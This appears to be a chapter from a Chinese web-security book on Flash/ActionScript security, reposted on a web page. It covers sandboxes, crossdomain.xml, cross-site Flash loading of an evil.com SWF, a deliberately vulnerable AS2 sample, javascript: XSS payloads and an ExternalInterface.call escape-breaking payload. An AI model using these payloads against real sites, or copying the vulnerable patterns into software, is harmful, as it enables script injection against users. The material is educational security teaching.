返回介绍

2.7 另一个幽灵——ActionScript

发布于 2024-01-20 15:41:04 字数 15240 浏览 0 评论 0 收藏 0

ActionScript(简称AS)和JavaScript一样遵循ECMAScript标准。ActionScript由Flash的脚本虚拟机执行,运行环境就在Flash Player中,而Flash Player的运行环境主要有两个:浏览器与操作系统本地,Flash有自己的安全沙箱来限制Ac-tionScript的能力,否则通过ActionScript可以进行很多危险的操作,这就是所谓的恶意Flash,它就像幽灵一样,甚至比JavaScript带来的威胁还难以察觉。

我们通常接触的ActionScript有两个版本:AS2与AS3,这两个版本的语法差异还是很大的。虽然AS3已经是主流了,但是直到现在,FlashPlayer对这两种版本语言都还支持,所以我们研究Flash安全时,这两种版本语言都要考虑到。

本节将介绍Flash安全的基础知识,这些基础知识对深入理解Flash安全非常重要,浏览器有自己的法则,Flash其实是独立于浏览器的,它的法则尽可能做到像浏览器这样完备的程度,不过又有很多自己的特点,所以Flash安全研究起来有种在另一个世界的感觉。有些高级的知识点会分布在之后相关章节中,比如“前端黑客之CSRF”、“漏洞挖掘”、“Web蠕虫”等。实际上,如果把这些章节中Flash相关的内容拼凑起来,就是Flash安全的一个比较完整的专题。

大家如果仅想关注Flash安全,可以根据上面提供的章节线索,跳着看,下面开始进入基础知识的正题。

2.7.1 Flash安全沙箱

了解Flash安全之前,需要先了解清楚Flash的安全策略。

Flash安全沙箱是用来制定ActionScript的游戏规则的,我们来看看这些规则。

安全沙箱包括远程沙箱与本地沙箱。其实这个沙箱模型类似于浏览器中的同源策略。在同一域内的资源会被放到一个安全组下,这个安全组被称为安全沙箱。在深入了解沙箱之前,要先明确FlashPlayer的权限控制。

1. FlashPlayer的权限控制

1)管理用户控制

这指系统的最高权限用户,即Windows下的Administrator、Linux下的root等,它们有如下两种类型的控制。

· mms.cfg文件:数据加载、隐私控制、FlashPlayer更新、旧版文件支持、本地文件安全性、全屏模式等。

· “全局 Flash Player 信任”目录:当某些SWF文件被指定到这个受信任的目录下时,这些SWF 文件会被分配到受信任的本地沙箱。它们可以与任何其他的SWF文件进行交互,也可以从任意位置(远程或本地)加载数据。该信任目录的默认路径为:C:\windows\sys-tem32\Macromed\Flash\FlashPlay-erTrust。

2)用户控制

相对于管理用户来说,这里的用户是指普通用户,它有如下三种类型的控制。

· 摄像头与麦克风设置;

· 共享对象存储设置:Flash Cookies;

· 相对于“全局 Flash Player 信任”目录,用户权限中也有一个“用户 Flash Player 信任”目录。默认路径(Windows7下)为:C:\Users\Elaine\AppData\Roaming\Macromedia\Flash Player#Security\FlashPlayerTrust。

3)Web站点控制(跨域策略文件)

Web站点控制就是家喻户晓的crossdo-main.xml文件了,现在的安全策略是该文件默认只能存放在站点根目录下,文件格式如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

例如,http://www.youku.com/crossdo-main.xml(如图2-7所示),通过该文件的配置可以提供允许的域跨域访问本域上内容的权限。

图2-7 优酷的crossdomain.xml通配符

这个配置文件有一个有意思的节点:

<site-control permitted-cross-domain-
policies="all"/>

如果没这个节点,默认只允许加载域名根目录下的主策略文件。

permitted-cross-domain-policies的值说明如表2-5所示。

表2-5 permitted-cross-domain-policies值说明

crossdomain.xml配置的安全问题可在第4章“前端黑客之CSRF”中看到。

4)作者(开发人员)控制

开发人员可以通过编码(在ActionScript脚本中)指定允许的安全控制权限,语句如下:

Security.allowDomain("www.evil.com");

当然,都支持通配符*,使用这个通配符时要谨慎,以免带来不必要的安全风险。

2. 安全沙箱

Flash Player的权限控制设置完后,下面看看安全沙箱。

1)远程沙箱

这个远程沙箱控制着远程域上浏览器环境中的安全策略,比如,www.evil.com域中的Flash文件就无法直接与www.foo.com域上的Flash文件交互。同一个域(严格域)下的所有文件属于一个沙箱,沙箱内的对象是可以互相访问的,而沙箱之间的对象如果需要交互,就需要前面介绍的“Web站点控制(跨域策略文件)”与“作者(开发人员)控制”进行。

2)本地沙箱

Flash文件可以在我们的桌面环境下运行。如果没有一个很好的安全策略来限制这些功能不弱的ActionScript脚本,将是很危险的事,因此,出现了本地沙箱。

本地沙箱有以下三种类型。

· 只能与本地文件系统内容交互的本地沙箱:顾名思义,就是该Flash文件在本地运行时是不能与网络上的对象进行通信的,而只能与本地对象进行交互。

· 只能与远程内容交互的本地沙箱:此时的Flash文件要与远程域对象交互时,需在远程域上通过策略文件或以Security.allowDo-main编码方式来设置访问策略(同远程沙箱),此时不能访问本地文件。

· 受信任的本地沙箱:上面介绍的权限控制中,管理用户与普通用户都有Flash Player信任目录的控制权限,我们只要将SWF文件放到受信任目录内运行,那么这个Flash文件就可以与本地域和远程域通信了。

以上这些沙箱类型,我们可以通过编码来确定当前运行的Flash文件被分配到哪个类型的沙箱中。如通过Security.sandboxType的值来确定:

Security.REMOTE(远程沙箱)
Security.LOCAL_WITH_FILE(只能与本地文件系统内容交互的本地沙箱)
Security.LOCAL_WITH_NETWORK(只能与远程内容交互的本地沙箱)
Security.LOCAL_TRUSTED(受信任的本地沙箱)

2.7.2 HTML嵌入Flash的安全相关

配置

本节介绍HTML嵌入Flash的一些安全相关的配置。在我们发布Flash时生成的HTML文件内,<object>与<embed>标签内的几个属性需要明确。

<object classid="clsid:d27cdb6e-
ae6d-11cf-96b8-444553540000" width="550" height="400" id="targetswf">
  <param name="movie" value="http://www.foo.com/hi.swf" />
  <param name="allowScriptAccess" value="always" />
  <param name="allowNetworking" value="all">
  <param name="allowFullScreen" value="true">
  <param name="flashvars" value="a=1 ">
  <!--[if !IE]>-->
  <object type="application/x-shockwave-flash" data="http://www.foo. com/hi.swf" 
width="550" height="400">
    <param name="movie" value="http://www.foo.com/flash/hi.swf" />
    <param name="allowScriptAccess" value="always" />
    <param name="allowNetworking" value="all">
    <param name="allowFullScreen" value="true">
    <param name="flashvars" value="a=1">
  </object>
  <!--<![endif]-->
</object>

1)allowNetworking

该参数控制Flash文件的网络访问功能,它有三个值:all(所有的网络API都可用)、internal(默认值,除了不能使用浏览器导航和浏览器交互的API外,如navigate ToURL、fscommand、Exter-nalInterface.call等,其他的都可用)、none(所有的网络API都不可用)。

2)allowScriptAccess

这是ActionScript与JavaScript通信的安全控制,AS3中主要是ExternalInterface对象的方法。有三个值:never(ExternalInterface的call方法不能与HTML的JS脚本进行通信)、sameDo-main(同域内就可以,这是默认值)、always(允许所有的域,因此,比较危险)。

3)allowFullScreen

全屏模式的安全问题,这是一个Boolean值,默认为false,不允许Flash全屏。全屏带来的安全问题类似于界面伪装这类攻击。

有一点需要特别注意,当我们直接在浏览器里访问Flash文件时,比如:

>http://www.foo.com/test.swf

此时上面这几个属性的值会是什么呢?我们可以在Chrome下访问任意的Flash文件,然后按F12键查看HTML,发现内容如图2-8所示。

图2-8 针对直接加载swf文件,默认的HTML代码

浏览器会自动给这个Flash文件生成对应的HTML,当allowScriptAccess、allowNetworking和allowFullScreen这三个属性都没有时,就用默认值。这一点很重要,下面“跨站Flash”一节会有说明。

2.7.3 跨站Flash

跨站Flash也称Cross Site Flash(XSF),即通过ActionScript来加载第三方Flash文件,攻击者如果对这个过程可控,那么他们就可以让目标Flash加载恶意的Flash文件,从而造成XSF攻击。

在AS2中,loadMove等函数可以加载第三方Flash文件,如:

// AS2代码:
_root.loadMovie(_root.swf);
// 利用链接:
http://www.foo.com/load2.swf?swf=http://www.evil.com/evil.swf

在AS3中,已不存在这个函数了,改为通用的Loader类来进行各种外部数据处理,如:

// AS3代码:
var param:Object = root.loaderInfo.parameters;
var swf:String = param["swf"];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
// 利用链接:
http://www.foo.com/load3.swf?swf=http://www.evil.com/evil.swf

题外话:是不是第一眼发现AS2更简洁?可这样简洁是有代价的,参数太灵活,会带来很多安全问题,在“参数传递”一节中会说到。AS3看去不简洁实际上是因为AS3的设计追求严格的面向对象风格。

当第三方的evil.swf被加载进目标Flash的上下文时,就受到了目标Flash的沙盒限制。从前面的知识可以知道,如果是浏览器直接加载这样的链接,下面的各个属性值为:

allowScriptAccess='sameDomain'
allowNetworking='internal'
allowFullScreen='false'

此时,evil.swf的能力就受到了限制。如果目标Flash所在的HTML页面存在swf参数间接可控,那么evil.swf能力也许还能被打开。如:

http://www.foo.com/load.html代码如下:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" 
    width="550" height="400" id="targetswf">
  <param name="movie" value="http://www.foo.com/load3.swf" />
  <param name="allowScriptAccess" value="always" />
  <param name="allowNetworking" value="all">
  <param name="allowFullScreen" value="true">
  <param name="flashvars" value="[攻击者可控] ">
  <!--[if !IE]>-->
  <object type="application/x-shockwave-flash" data="http://www.foo. com/load3.swf" 
width="550" height="400">
    <param name="movie" value="http://www.foo.com/load3.swf" />
    <param name="allowScriptAccess" value="always" />
    <param name="allowNetworking" value="all">
    <param name="allowFullScreen" value="true">
    <param name="flashvars" value="[攻击者可控]">
  </object>
  <!--<![endif]-->
</object>

HTML中的flashvars参数可以设置目标Flash的参数,如果这个HTML攻击者可以控制flashvars的值,比如,通过反射或DOM XSS设置该值为:

swf=http://www.evil.com/evil.swf

当HTML加载完成后,load3.swf就会加载http://www.evil.com/evil.swf。由于此时有如下语句:

allowScriptAccess='always'
allowNetworking='all'
allowFullScreen='true'

evil.swf的威力就可以尽情地发挥了。

如果AS2的Flash加载AS3的Flash,或者AS3的Flash加载AS2的Flash,会影响到被加载Flash的原本特性吗?除了受目标沙盒的影响,其他是不会的。

2.7.4 参数传递

Flash中的参数传递是最常见的形式,如:

· AS2的_root.argv形式,argv直接就是参数名;

· AS3的root.loaderInfo.parameters形式,返回参数键值的字典结构。

常见的还有外部XML形式。这种文本形式的网络请求一般通过URLLoader与URLRequest类组合进行,如:

var req:URLRequest = new URLRequest('http://www.foo.com/hi.xml')
// URLRequest实例
var loader:URLLoader = new URLLoader(); // URLLoader实例
loader.addEventListener(Event.COMPLETE,get_complete);
// 加载完成后会触发get_complete函数去处理
loader.load(req);
function get_complete(event:Event)
{
  var d:String = String(event.target.data);
  trace(d);
}

我们发现在真实的例子中,很多第三方XML地址是攻击者可控的,如果目标Flash过于信任第三方XML里的数据,就很可能导致安全问题。

除了这些,有一点需要特别注意,关于AS2中如此灵活的参数控制,示例如下:

function VulnerableMovie()
{
_root.createTextField("tf",0,100,100,640,480);
  if (_root.i1 != null)
  {
    _root.loadMovie(_root.i1); // 风险点1
  }
  _root.tf.html = true;// default is safely false
  _root.tf.htmlText = "Hello " + _root.i2; // 风险点2
  if (_root.i3 != null)
  {
    getURL(_root.i3); // 风险点3
  }
}
VulnerableMovie();

这个样例中,i1、i2、i3参数都直接从_root中获取,如果未初始化,通过URL传参方式就可以控制这些值,这个风险实际上就是经典的“全局变量未初始化问题”(PHP就是这样)。实际上,我们发现大多数AS2的Flash都存在全局变量未初始化的问题(包括以安全闻名的Google),除了来自_root对象的参数是这样,还有_global对象与_level0对象。这些危险的全局对象与相关机制在AS3中已经去除。

上面这个样例很经典。这些风险点在AS3中还是存在的,只是其传参与语法方式有差异。前面已经介绍了风险点1(跨站Flash),下面会介绍风险点2与风险点3。

2.7.5 Flash里的内嵌HTML

我们认为这样的机制真是鸡肋,用得少,还带来了潜在的安全风险。Flash内嵌HTML不能很随意,且支持的标签有限,如表2-6所示。

表2-6 Flash内嵌的HTML标签

下面重点介绍<a>标签与<img>标签。

1)<a>标签

由于AS2与AS3的href属性支持JavaScript伪协议,那么就可以在用户单击的情况下触发任意的JavaScript。这是一个风险。

AS2的href属性支持asfunction协议,这个协议是AS2为了扩充内嵌HTML能力而引进的,本意是为了在这样的HTML中更好地调用AS2已有函数进行灵活交互。如:

this.createTextField("t", this.getNextHighestDepth(), 10, 10, 500, 500);
// 创建一个TextField实例
t.html = true; // 开启html支持
t.htmlText = 'as2: <a href="asfunction:myFunction,abc">click1</a>';
t.htmlText += '<a href="asfunction:getURL,javascript:alert(document.documentElement.innerHTML)">click2</a>';
function myFunction (param) {
  t.htmlText += param+'-';
}

上述代码中,对于第一个click1,asfunction协议后第一个参数是AS2函数名,第二个参数是AS2参数。第二个click2也一样,不过这样直接利用内置函数getURL来执行JavaScript。

AS3的href属性不再支持asfunciton协议,而改为支持event事件协议,语句如下:

var t:TextField = new TextField(); // 实例化
TextField对象
t.width = 500;
t.height = 300;
t.htmlText +=  '<a href="event:javascript:alert(document.documen
tElement. innerHTML)">click1</a>';
t.addEventListener("link", clickHandler); // 监听链接点击事件
addChild(t); // 将TextField实例附加进Flash上下文
function clickHandler(e:TextEvent):void
{
  navigateToURL(new URLRequest(e.text),"_self");
}

当单击click1时,触发clickHandler函数,通过navigateToURL方式执行JavaScript。

2)<img>标签

img src可以直接嵌入第三方Flash文件,导致的效果其实就是“跨站Flash”,嵌入方式如下:

<img src='http://www.evil.com/evil.swf'>

2.7.6 与JavaScript通信

1. getURL()与navigateToURL()

getURL()函数在AS3中已经不被支持了,在AS2中是支持的,并且getURL()与Flash Player的版本无关,都是兼容的。所以,只要我们使用AS2来写getURL(),用XSS还是可以的,语句如下:

getURL("javascript:alert(1)"); // 直接执行JavaScript伪协议

在AS3中,我们可以使用navigateToURL()来代替getURL(),代码如下:

navigateToURL(new URLRequest('javascript:alert(1)'),"_self");

2. ExternalInterface

AS2与AS3都有这个对象,是专门为Flash与JavaScript通信准备的接口,下面以AS3的Exter-nalInterface为例进行介绍,样例如下:

import flash.external.ExternalInterface;
function get_watermark(k:String="default"):String
{
  // 获取Flash Cookie
  var shared:SharedObject = SharedObject.getLocal("cookie");
  var str = shared.data[k];
  return str;
}
function set_watermark(k:String="default", v:String=""):void
{ 
  // 设置Flash Cookie
  var shared:SharedObject = SharedObject.getLocal("cookie");
  shared.data[k] = v;
  shared.flush();
}
// 下面注册这两个函数,让JavaScript可以通过注册的接口名直接调用
// addCallback方法的第一个参数是要注册的接口名,第二个是AS函数名
ExternalInterface.addCallback("set_watermark", set_watermark);
ExternalInterface.addCallback("get_watermark", get_watermark);
// 调用外部JavaScript函数
// call方法的第一个参数是JavaScript函数名,第二个是参数
ExternalInterface.call("eval","alert(/ready/)");
然后在如下HTML中加载该Flash文件:
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swf_ie">
    <param name="movie" value="test.swf" />
    <param name="allowScriptAccess" value="always" />
    <embed id="swf_ff" src="test.swf" allowScriptAccess="always"></embed>
</object>
<script>
function $(id){
  return document.getElementById(id);
}
function swfobj() { 
  // 获取加载进的Flash对象
  if (navigator.appName.indexOf("Microsoft") != -1) {
    return $('swf_ie');
  }
  else {
    return $('swf_ff');
  }
}
setTimeout(function(){
  swfobj().set_watermark('test', 'hello lso'); // 设置Flash Cookie
  alert(swfobj().get_watermark('test')); // 获取Flash Cookie
},3000) // 延时3秒,等待test.swf加载完成
</script>

ExternalInterface.call有一个非常有意思的特性。当与JavaScript交互时,在浏览器JavaScript上下文环境中会有一段对应的代码来执行这种交互。比如,如下AS代码:

ExternalInterface.call('alert','userinput');

当通过浏览器直接访问这个Flash文件时,在浏览器上下文中生成对应的一段JavaScript代码为:

try { __flash__toXML(alert("userinput")) ; } 
catch (e) { "<undefined/>"; }

第一个参数alert用双引号"来包住第二个参数userinput。如果我们能突破这个双引号,是不是更有趣?这个方法最早是lcamtuf在自己的blog(http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html)上提到的,cn_ben和superhei都先后总结了该技巧。这个技巧的好处就是,如果只有第二个参数是攻击者可控的,如何执行任意的JavaScript代码?

当注入的JavaScript含有"符号,会被转义为\",可如果注入\",就会被转义为\",这样,"符号就变得有意义了(这是一个安全BUG),也就可以闭合之前的双引号,构造出完全独立的JavaScript,比如提交如下代码:

http://www.foo.com/flash/lso.swf?x=\"));alert(document.domain)}catch(e){}//

提交后,浏览器上下文生成对应的JavaScript为:

try  {
 __flash__toXML(alert("\"));alert(document.domain)}catch(e){}//")) ; 
}
catch (e) { "<undefined/>"; }

这时就出现了我们期望的alert(document.do-main),效果如图2-9所示。

图2-9 突破ExternalInterface.call弹出框

如果这个test.swf不是通过浏览器直接访问,而是在HTML里调用,那么以上闭合在IE下还能顺利吗?如何突破?这个留给大家自己完成。

2.7.7 网络通信

由于AS2与AS3的风格差异非常大,在此也不打算普及各种基础知识,这里只是简单提及AS3中的情况。

前面已经介绍了URLLoader与URLRequest组合进行文本数据的请求,这是AS3中绝佳的组合,GET/POST数据都很方便(有关的基础知识使用请看官方手册),如果仅是发送数据出去,而不需要得到响应,则直接用sendToURL函数+URL-Request组合。

如果要使用socket请求,则可以使用Socket类或XMLSocket类。

这里简单提及一下AMF。AMF(Action Mes-sage Format)是Flash和服务端通信的一种常见的二进制编码模式,其传输效率高,可以在HTTP层面上传输。现在很多Flash WebGame都采用这样的消息格式。我们分析了一些外挂,有专门模拟AMF消息进行各种恶意操作的。

2.7.8 其他安全问题

我们发现Flash的一些重要数据或逻辑运算直接在本地进行(比如,Flash WebGame),开发者以为Flash的代码不像JavaScript那样容易被发现?这是错误的,通过一些流行的反编译工具(比如HP swfscan、swfdump.exe等)就能得到Ac-tionScript代码。

其实,很多时候根本不需要反编译,直接抓HTTP请求数据包,无论是明文传输的,还是AMF消息格式,都可以轻易篡改。

牢记,重要的数据或运算不要在本地进行。通常,我们提到Web前端安全时,第一个想到的就是XSS,它的全称为Cross Site Script-ing,即跨站脚本,其实重点已经不在“跨站”这个字面上(原因会在后面谈到),而是“脚本”。脚本主要有两个:JavaScript和Action-Script,这两个的基本概念已经在第2章介绍过。我们可以去看看OWASP TOP 10,XSS一直是名列前茅的,2007排行榜第一,2010则到了第二,因为各种注入风险综合已经占据了第一的位置。XSS漏洞非常广泛,不过不是所有的漏洞都有危害或者利用价值,对XSS危害的评估需要看实际场景。比如,一个小企业网站与一个流行的社交网站对比,小企业几乎不会在意XSS,因为实际上危害事件发生的概率是很低的,甚至早期一些大网站(包括社交网站、电子商务网站、银行门户等)都很少在意这个漏洞。随着XSS攻击的利益化与舆论化,这些大网站都开始在意甚至投入更多的精力从根源上处理好XSS问题。本章的内容会让大家初步了解XSS是什么,更多高级的内容在后续章节中会介绍。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文